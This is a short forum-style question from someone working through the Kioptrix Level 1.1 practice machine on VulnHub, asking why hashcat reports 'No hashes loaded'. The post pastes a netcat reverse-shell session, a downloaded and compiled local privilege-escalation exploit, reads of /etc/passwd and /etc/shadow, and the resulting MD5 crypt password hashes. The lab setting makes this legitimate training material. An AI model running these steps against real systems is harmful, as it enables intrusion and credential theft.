hashcat: No hashes loaded

I’ve been trying Kioptrix: Level 1.1 (#2) and managed to get root access. https://www.vulnhub.com/entry/kioptrix-level-11-2,23/

wolf@linux:~$   nc -vklp 8080 listening on [any] 8080 ... inverse host lookup failed: Unknown host connect to [] from (UNKNOWN) [] 32795  id uid=48(apache) gid=48(apache) groups=48(apache)  cd /tmp wget ls privesc.c gcc privesc.c -o privesc ./privesc  id uid=0(root) gid=0(root) groups=48(apache)  cat /etc/passwd cat /etc/shadow 

unshadow file = md5.txt

wolf@linux:~$   cat md5.txt  root:$  1$  FTpMLT88$  VdzDQTTcksukSKMLRSVlc.:0:0:root:/root:/bin/bash john:$  1$  wk7kHI5I$  2kNTw6ncQQCecJ.5b8xTL1:500:500::/home/john:/bin/bash harold:$  1$  7d.sVxgm$  3MYWsHDv0F/LP.mjL9lp/1:501:501::/home/harold:/bin/bash wolf@linux:~$    

However, I’m having a problem sending the unshadow file md5.txt to hashcat.

Any idea what’s wrong with this?
